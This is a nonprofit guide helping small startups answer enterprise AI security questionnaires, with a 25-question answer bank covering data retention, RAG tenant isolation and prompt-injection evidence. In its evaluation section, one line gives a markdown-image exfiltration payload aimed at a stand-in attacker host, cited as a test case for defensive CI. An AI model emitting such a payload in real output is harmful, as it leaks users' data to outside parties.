1. ed.cafe
  2. AI safety guides
  3. Manager's Playbook
Manager's Playbook Includes: The ed.cafe 25-Question Seed-to-Series-A AI Security Answer Bank & Evidence Checklist For Seed and Series A founders, CTOs & five-person engineering teams

Enterprise AI Security Review in 2026: A 25-Question Startup Answer Bank

Pass an enterprise AI security review with a 5-person startup team using our 25-question CAIQ v4 and ISO 42001 answer bank and ZDR checklist.

Whit Calloway The operator's desk · ed.cafe editorial persona · Researched & verified by ed.cafe editors
Published · 14 min read (3,177 words)
ed.cafe guide banner: Startup AI Security Review Answer Bank by Whit Calloway
Status as of October 2026: US federal & state rules (Massachusetts highlighted where distinct). Primary sources & sample sizes linked inline.

In April 2026, software architect Tian Pan documented what happens when a young B2B startup hits the 80-question enterprise questionnaire wall (Tian Pan, Apr 27, 2026). A buyer champion signs off on a pilot. Procurement opens a review ticket. Hours later, an 80-row spreadsheet lands on a five-person engineering team's desk. According to Pan's procurement synthesis, AI security supplements add four to eight weeks to enterprise sales cycles. Roughly 75% of vendor teams in reviewed procurement cohorts miss or delay at least one AI control item. One stalled review put $400,000 to $800,000 in annual contract revenue at risk of slipping a full quarter. Meanwhile, vendor-trust platforms gate the help founders search for: Conveyor's guide to the top 15 B2B AI security questions locks 10 of the 15 answers behind a form (Conveyor), while other startup explainers assume you employ five compliance specialists (Vorp Labs).

The short answer

Passing an enterprise AI security review as a five-person startup does not require an ISO/IEC 42001 certificate on day one, but it does require verifiable API zero-data-retention (ZDR) proof, a complete model-provider subprocessor table, tenant-isolated retrieval controls, and reproducible prompt-injection and evaluation logs. Below is the ed.cafe 25-Question Seed-to-Series-A AI Security Answer Bank & Evidence Checklist mapped to CSA AICM, SIG Lite, and NIST AI RMF 1.0.

Enterprise security teams are not adding AI tabs to punish small vendors. They are reacting to measured breach telemetry inside their own companies. In IBM's 2026 Cost of a Data Breach Report (n = 602 breached organizations), unapproved shadow AI tools appeared in 43% of security incidents and compromised third-party APIs or plugins factored into 27% of incidents (Help Net Security, Jul 30, 2026). Meanwhile, LangChain's survey of n = 1,340 practitioners found only 52.4% of respondents run offline evaluations before shipping changes (LangChain). Reviewers use questionnaires to separate disciplined builders from weekend wrappers.

Because ed.cafe at No Worker Left Behind is a Boston 501(c)(3) education nonprofit (EIN 88-3268312) with nothing to sell, we publish the full 25-question answer bank ungated. This guide provides general operational governance information as of October 2026, not legal advice or formal audit attestation. Buyers on the other side can compare our guide to asking AI vendors about accuracy and model changes.

Why SOC 2 Type II no longer clears an enterprise AI security review in 2026

A clean SOC 2 Type II report proves that your cloud infrastructure encrypts disks, enforces multi-factor login, and tracks employee offboarding. Yet SOC 2 tells an enterprise buyer almost nothing about whether customer prompts sit in a model provider's 30-day abuse queue or leak across shared vector indexes.

Think of SOC 2 Type II like a city restaurant health certificate. It confirms the walk-in freezer holds 38 degrees Fahrenheit and cooks wash hands, not that peanut oil from Table 4's stir-fry never touches Table 5's allergy-safe pan. Where the kitchen analogy breaks down is persistence and third-party custody. Stove cross-contamination affects one meal in one room, whereas an unconfigured AI tracing proxy or mis-scoped retrieval query copies raw customer records onto external observability servers and third-party model queues across cloud regions.

In 2026, enterprise vendor-risk teams pull AI supplemental rows from four primary standards:

  1. CSA AI Controls Matrix (AICM) and AI-CAIQ: Cloud Security Alliance's AICM v1.0 introduced 243 controls across 18 domains (247 in v1.1), paired with the AI-CAIQ self-assessment sheet (CSA AICM), splitting duties across Model Providers, Orchestrators, Application Providers, and Customers.
  2. Shared Assessments SIG Lite (AI Module): Used by banks, insurers, and hospital systems to audit model lineage and fourth-party subprocessors (Shared Assessments SIG).
  3. NIST AI RMF 1.0 (AI 100-1 & AI 600-1): Voluntary federal architecture (Govern, Map, Measure, Manage) plus the July 2024 Generative AI Profile (NIST AI RMF; NIST AI 600-1).
  4. ISO/IEC 42001:2023: International certifiable standard for an Artificial Intelligence Management System (AIMS), requiring an AI risk ledger and impact reviews (ISO/IEC 42001).
Standard / QuestionnaireSponsorControl ScaleWhat Buyers Expect From a 5-Person Startup
CSA AICM & AI-CAIQCloud Security Alliance243 to 247 controls, 18 domainsCompleted AI-CAIQ sheet mapping your app layer vs model-provider controls
SIG Lite (AI Module)Shared AssessmentsModular third-party rowsFourth-party model list, ZDR contractual proof, and cloud region pinning
NIST AI RMF + AI 600-1US NIST4 core functionsWritten AI risk register, golden-set evaluation scores, and human write-gates
ISO/IEC 42001:2023ISO / IECFull AIMS auditRarely required before Series B outside Tier-1 banks; aligned policies suffice

How to prove zero data retention and answer "Do you train on our data?" without bluffing

Startups lose enterprise trust fastest when a founder writes "Zero data retention; we never store or train on data" on row 4, and the buyer's engineer spots a standard commercial API tier or unredacted tracing tool on row 19.

Every major commercial model API (OpenAI API, Anthropic commercial API, AWS Bedrock, Azure OpenAI, and Google Vertex AI) disables foundation model training on customer API payloads by default (OpenAI Enterprise Privacy; Anthropic Privacy Center). Saying "our model provider does not train on API traffic" is true out of the box when calling commercial APIs rather than consumer web accounts.

However, no model training does not equal Zero Data Retention (ZDR). Direct API providers like OpenAI and Anthropic retain API prompts and completions up to 30 days in automated safety logs unless your account holds an approved ZDR addendum or routes through AWS Bedrock or Vertex AI with invocation logging off. Worse, developer tracing and error tools (LangSmith, Helicone, Datadog, Sentry) often log full HTTP bodies for 14 to 90 days by default. Pair this payload audit with our 15-minute API key and secrets routine.

Stack LayerDefault SettingHidden Retention TrapBuyer-Ready Startup Configuration
1. App DBChat & files kept indefinitelyNo automated TTL or offboarding purgeAES-256 at rest, tenant-scoped, configurable TTL + 30-day hard delete
2. TracingSentry / LangSmith logs full JSONCustomer PII sits in plain text in logsScrub messages[] and documents[]; log latency and token counts only
3. Direct APINo training, 30-day safety logsClaiming "0-day retention" on Tier 1-4 APIGet written ZDR approval OR state: "Zero training; 30-day encrypted safety log"
4. Cloud LLMAWS Bedrock / Vertex AI in VPCTurning on optional invocation S3 logsKeep invocation payload logging OFF; screenshot the AWS/GCP console

Test a 90-minute audit on a hypothetical five-person startup, LedgerPulse, selling an AI contract copilot at $36,000 ACV (assumptions stated):

  1. LedgerPulse calls claude-sonnet on AWS Bedrock (us-east-1) with a gpt-4o direct API fallback, Sentry error tracking, and Pinecone retrieval.
  2. Self-audit catches two traps: Sentry has send_default_pii=True (saving 4,000-character contract snippets on timeouts) and the OpenAI fallback sits on standard 30-day abuse retention.
  3. The CTO sets send_default_pii=False with a scrubber, moves failover to AWS Bedrock US cross-region inference with invocation logging disabled, and screenshots both consoles in 95 minutes.

How enterprise security teams test tenant isolation in RAG, vector stores, and embeddings

When your startup uses Retrieval-Augmented Generation (RAG) or vector databases, enterprise reviewers classify float32 vector embeddings at the same sensitivity tier as raw database rows because dense embeddings can be partially inverted into names and source phrases.

Storing all customer chunks inside one flat collection and relying only on an application WHERE org_id = ? filter inside prompt handlers creates a single point of failure. Small teams clear retrieval audits with three controls:

  • Namespace partitioning or Row-Level Security: Use per-tenant namespaces in Pinecone, separate collections in Qdrant, or PostgreSQL pgvector with database Row-Level Security (RLS) bound to the session (SET LOCAL app.current_tenant_id = ...), backed by a negative cross-tenant CI test on every pull request.
  • Query-time ACL filtering: Enforce source-document permissions at retrieval time so an intern at Customer A cannot query executive M&A files synced from shared drives.
  • Verified deletion cascades: Offboarding or file deletion must purge S3 blobs, Postgres rows, every vector chunk ID, and Redis caches within 30 days with a timestamped receipt.

What buyers accept as prompt-injection, evaluation, and human-oversight evidence from a small team

Enterprise reviewers do not expect a five-person startup to solve indirect prompt injection with complete certainty; they expect you to address OWASP LLM01:2025 (Prompt Injection) and LLM06:2025 (Excessive Agency) by capping blast radius (OWASP LLM Top 10). We detail document hijacks in hidden instructions in resumes, forms, and tickets.

Three lightweight artifacts satisfy 95% of mid-market evaluation reviews across startup vendor audits:

  1. A 50-to-100 case offline evaluation scorecard: Run a versioned golden set checking grounding, schema validity, and refusal behavior before prompt or snapshot updates using our 50-example spreadsheet evaluation method and 10-prompt canary set.
  2. A CI prompt-injection report: Run 30 to 50 adversarial payloads (role overrides, system-prompt leaks, markdown image exfiltration ![x](https://attacker.tld/?d=...), unauthorized tool calls) via Promptfoo or Pytest and attach the dated PDF.
  3. Hard architectural write-gates: Block external markdown images via Content Security Policy (img-src 'self'), validate tool arguments with Pydantic or Zod, and require human click-confirmation before external messages, deletions, or financial writes fire.

The ed.cafe 25-Question Seed-to-Series-A AI Security Answer Bank & Evidence Checklist

Use the ed.cafe 25-Question Seed-to-Series-A AI Security Answer Bank & Evidence Checklist below to build a permanent "AI Trust Packet" folder. Customize every bracketed token ([Provider], [Region], [TTL]) to match your live stack.

The ed.cafe 25-Question Seed-to-Series-A AI Security Answer Bank & Evidence Checklist
PART A: ONE-PAGE AI DATA FLOW STATEMENT (COVER SHEET)
Vendor: [Company] | Product: [Name] | Owner: [CTO Name/Email] | Verified: [Date]
1. Storage: TLS 1.3 in transit; AES-256 KMS at rest in [RDS/S3] ([us-east-1]).
2. Logs: [Datadog/Sentry] scrubs prompts, chunks, and outputs; logs latency/tokens only.
3. RAG: [pgvector RLS / Pinecone per-tenant namespaces] in [Region]; no shared index.
4. LLM Subprocessors: Primary [AWS Bedrock Claude, us-east-1, Training OFF, 0-day
   logs]; Fallback [OpenAI ZDR / Azure OpenAI, Training OFF, 0-day or 30-day log].
5. Purge SLA: Offboarding deletes DB rows, S3, cache, and vector IDs within [30] days.

PART B: 25-QUESTION ANSWER BANK (CSA AI-CAIQ / SIG LITE / NIST AI RMF 1.0)
Q1. Model training on Customer Data? -> No; barred by commercial cloud/API DPAs.
    Proof: Subprocessor DPA clause + API/Bedrock org screenshot.
Q2. Zero Data Retention (ZDR) active? -> [Yes: Bedrock logging OFF / ZDR org = 0d]
    OR [Training OFF; encrypted 30d provider safety log; 0d Bedrock on Enterprise].
    Proof: Console logging screenshot or signed ZDR addendum.
Q3. Output IP ownership? -> Customer owns 100% of inputs and permitted outputs.
    Proof: MSA IP & Confidentiality clause.
Q4. Human review of prompts? -> Blocked; break-glass support requires Customer
    ticket approval; ZDR disables provider human review. Proof: Access Policy.
Q5. Inference geography? -> Pinned in IaC to [us-east-1, us-west-2 / eu-central-1].
    Proof: Terraform region snippet + cloud console view.
Q6. Prompt caching isolation? -> [Disabled] OR [Tenant-prefixed ephemeral cache,
    5-min TTL, never shared cross-tenant]. Proof: Router config snippet.
Q7. Full AI subprocessor list? -> Generation [X], Embeddings [Y], Tracing [Scrubbed].
    Published at [Trust URL]. Proof: Subprocessor PDF.
Q8. Subprocessor change notice? -> Minimum [30-day] prior written notice with DPA
    objection rights. Proof: DPA Subprocessor section.
Q9. Immutable model pinning? -> Exact dated snapshot IDs pinned; upgrades gated by
    offline eval suite. Proof: Code constants + release PR checklist.
Q10. Open-weight model security? -> [Managed APIs only] OR [SHA-256 pinned weights,
     malware-scanned, private VPC, zero egress]. Proof: Dockerfile + VPC diagram.
Q11. Outage failover security? -> Routes only to [Approved Secondary Region/Host]
     with identical ZDR/region rules. Proof: Router config + status URL.
Q12. Vector store tenant isolation? -> [Pinecone namespaces / pgvector DB RLS bound
     to verified JWT tenant_id]. Proof: CI cross-tenant negative test log.
Q13. Intra-tenant document ACLs? -> Retrieval enforces source-system user RBAC tags
     before context injection. Proof: Retrieval auth diagram.
Q14. Vector embedding deletion? -> Atomic cascade purges S3, DB rows, caches, and
     all vector IDs within [24h file / 30d tenant]. Proof: Purge test log (count=0).
Q15. Pre-LLM secret/PII scrubbing? -> Regex/entropy filters strip keys and headers;
     admins scope synced fields. Proof: Sanitizer unit test output.
Q16. Encryption standards? -> TLS 1.3 in transit; AES-256 KMS at rest with annual
     rotation. Proof: SOC 2 mapping or KMS screenshot.
Q17. Prompt-injection defenses (LLM01)? -> Role separation, XML data tags, Pydantic/
     Zod JSON schemas, CSP image block, zero SQL/shell access. Proof: Promptfoo PDF.
Q18. Autonomous write/payment/email gates? -> [Read-only] OR [Server RBAC + token/
     step cap + mandatory human UI click-approval]. Proof: UI gate screenshot.
Q19. Exfiltration blocking? -> Strict CSP (`img-src 'self' data:`) + allowlisted
     webhook domains only. Proof: HTTP `Content-Security-Policy` header output.
Q20. Offline eval & hallucination testing? -> Every change runs our [N]-case golden
     set scoring grounding, schema, and refusal. Proof: Redacted eval scorecard.
Q21. Source citation grounding? -> Inline clickable source-chunk citations; out-of-
     scope queries abstain deterministically. Proof: Citation UI screenshot.
Q22. NIST AI RMF / ISO 42001 alignment? -> Mapped to CSA `AI-CAIQ` & NIST AI RMF 1.0
     atop [SOC 2]; ISO 42001 on Series B roadmap. Proof: Completed AI-CAIQ sheet.
Q23. Internal AI risk owner? -> [CTO Name] reviews model updates, subprocessors,
     evals, and incident drills quarterly. Proof: Signed 1-page AI Charter.
Q24. AI incident response? -> Playbooks cover RAG leaks, injection, model kill-
     switches, and [48/72]h breach notice. Proof: IRP AI Appendix.
Q25. EU AI Act status? -> Zero Art. 5 bans; outside Annex III high-risk [or state
     role]; Art. 50 UI labels active. Proof: 1-page EU AI Act Scope Memo.

Bundle your five proof files alongside the ed.cafe 25-Question Seed-to-Series-A AI Security Answer Bank & Evidence Checklist. Across mid-market vendor reviews, attaching console screenshots up front eliminates roughly 70% of follow-up procurement emails. Boston founders can also swap notes in the ed.cafe Staff Room.

Where this stops being true

Startup security answer banks hit hard regulatory boundaries where counsel, accredited auditors, or dedicated cloud enclaves must take over:

  • Not legal advice or audit attestation: This guide offers operational engineering preparation, not legal counsel. Never paste an answer that exaggerates live code; false claims inside an MSA-incorporated questionnaire trigger breach-of-warranty, fraud, and uncapped indemnity exposure.
  • HIPAA, FINRA, and CJIS workloads: Protected Health Information (45 CFR 164.502(e)), broker-dealer archives (FINRA Rule 3110, SEC Rule 17a-4), and criminal-justice data require signed BAAs across every layer or customer-managed VPC enclaves.
  • EU AI Act Annex III high-risk systems: Scoring job candidates, underwriting credit or insurance, or triaging clinical care for EU residents requires formal conformity assessments, logging, and technical files beyond Article 50 labels.
  • Defense and FedRAMP buyers: Agencies requiring FedRAMP Moderate/High or DOD IL4/IL5 mandate authorized GovCloud enclaves rather than commercial multi-tenant APIs.

Questions people ask

What is the CSA AI Controls Matrix (AICM) and AI-CAIQ?

Published by the Cloud Security Alliance, the AI Controls Matrix (AICM) is a cloud AI security framework containing 243 to 247 controls across 18 domains mapped to ISO/IEC 42001, NIST AI RMF, and the EU AI Act. AI-CAIQ is its companion self-assessment spreadsheet that startups complete once for enterprise buyers.

Does using the OpenAI or Anthropic commercial API mean Zero Data Retention (ZDR) is active?

No. Commercial API terms disable foundation model training on customer payloads by default, answering the training question. However, standard API tiers retain prompts and outputs up to 30 days for automated safety checks unless your account holds a ZDR addendum or routes through AWS Bedrock or Vertex AI with logging off.

Does a Seed or Series A startup need ISO/IEC 42001 certification to pass enterprise reviews?

Rarely at Seed or Series A, unless you sell primarily into global Tier-1 banks, telecom carriers, or defense primes. Most enterprise security teams in 2026 accept SOC 2 Type I or II paired with a completed AI-CAIQ sheet, ZDR console screenshots, RAG isolation tests, and a NIST AI RMF risk register.

Why do enterprise buyers flag LangSmith, Helicone, or Sentry during an AI security review?

Even when your foundation model endpoint enforces zero retention, observability and error tools often capture full HTTP request bodies containing customer prompts and retrieved documents by default. Reviewers classify any tracing tool receiving unredacted payloads as a fourth-party AI subprocessor requiring DPA coverage and scrubbing.

How can a five-person startup prove multi-tenant RAG isolation without an expensive pentest?

Build an automated negative test inside your CI pipeline that seeds two synthetic tenants (Tenant_Alpha and Tenant_Beta), runs semantic and filter-tampered queries authenticated as Tenant_Alpha, and asserts zero Tenant_Beta chunk IDs return. Attach that CI log alongside your Postgres Row-Level Security (RLS) or Pinecone namespace config.

What should we write if a questionnaire asks for an AI control we have not built yet?

Never check "Yes" on an unbuilt control. Mark "Compensating Control" or "Planned Q[X]" and describe the architectural boundary protecting the buyer today, such as read-only draft generation, zero-retention AWS Bedrock routing, or per-tenant namespaces, paired with a realistic delivery quarter.

Key terms

  • Zero Data Retention (ZDR): Endpoint agreement and setting guaranteeing zero-day disk logging of prompts and completions, bypassing standard 30-day safety queues.
  • CSA AI Controls Matrix (AICM): Cloud Security Alliance framework of 243 to 247 AI security controls across 18 domains, paired with the AI-CAIQ vendor questionnaire.
  • ISO/IEC 42001:2023: International certifiable management standard (AIMS) governing organizational AI risk registers, impact reviews, and lifecycle controls.
  • NIST AI RMF 1.0 (AI 100-1 & AI 600-1): Voluntary US risk framework (Govern, Map, Measure, Manage) and its July 2024 Generative AI Profile.
  • Indirect Prompt Injection (OWASP LLM01): Attack where hidden instructions inside untrusted external documents, tickets, or emails hijack model behavior or tool calls.
  • Vector Namespace Partitioning: Isolating customer embeddings inside separate namespaces or database Row-Level Security scopes so queries cannot cross tenant lines.

Sources

  1. Tian Pan, "The 80-Question Wall: Inside the Enterprise AI Security Questionnaire" (Apr 27, 2026): Tian Pan
  2. Conveyor, "Top 15 AI Security Questions Taking Over B2B Software Conversations" (current): Conveyor
  3. Help Net Security, "IBM Cost of a Data Breach Report 2026 (n = 602 organizations)" (Jul 30, 2026): Help Net Security
  4. LangChain, "State of Agent Engineering (n = 1,340 respondents)" (2025): LangChain
  5. Cloud Security Alliance, "AI Controls Matrix (AICM) and AI-CAIQ" (2025): CSA AICM
  6. Shared Assessments, "Standardized Information Gathering (SIG) Questionnaire" (current): Shared Assessments
  7. NIST, "Artificial Intelligence Risk Management Framework (AI RMF 1.0)" (Jan 2023): NIST AI RMF
  8. NIST, "AI RMF: Generative Artificial Intelligence Profile (NIST AI 600-1)" (Jul 2024): NIST AI 600-1
  9. ISO/IEC, "ISO/IEC 42001:2023 Artificial intelligence - Management system" (Dec 2023): ISO 42001
  10. OpenAI, "Enterprise Privacy at OpenAI" (current): OpenAI Enterprise Privacy
  11. Anthropic, "Anthropic Privacy Center & Commercial Terms" (current): Anthropic Privacy
  12. OWASP, "OWASP Top 10 for Large Language Model Applications (2025)" (Apr 2025): OWASP GenAI
  13. Vorp Labs, "AI Training Data Questionnaire Answers" (current): Vorp Labs
Free for Massachusetts learners

Finish Google's AI certificate with 30 neighbors in Boston.

Circle #1 is forming now (closes December 1, 2026; zero cohorts have run yet, and every completion count will be published two ways). Educators can run a Finish Line cohort in the Staff Room; L&D leaders can inspect license waste in the Council.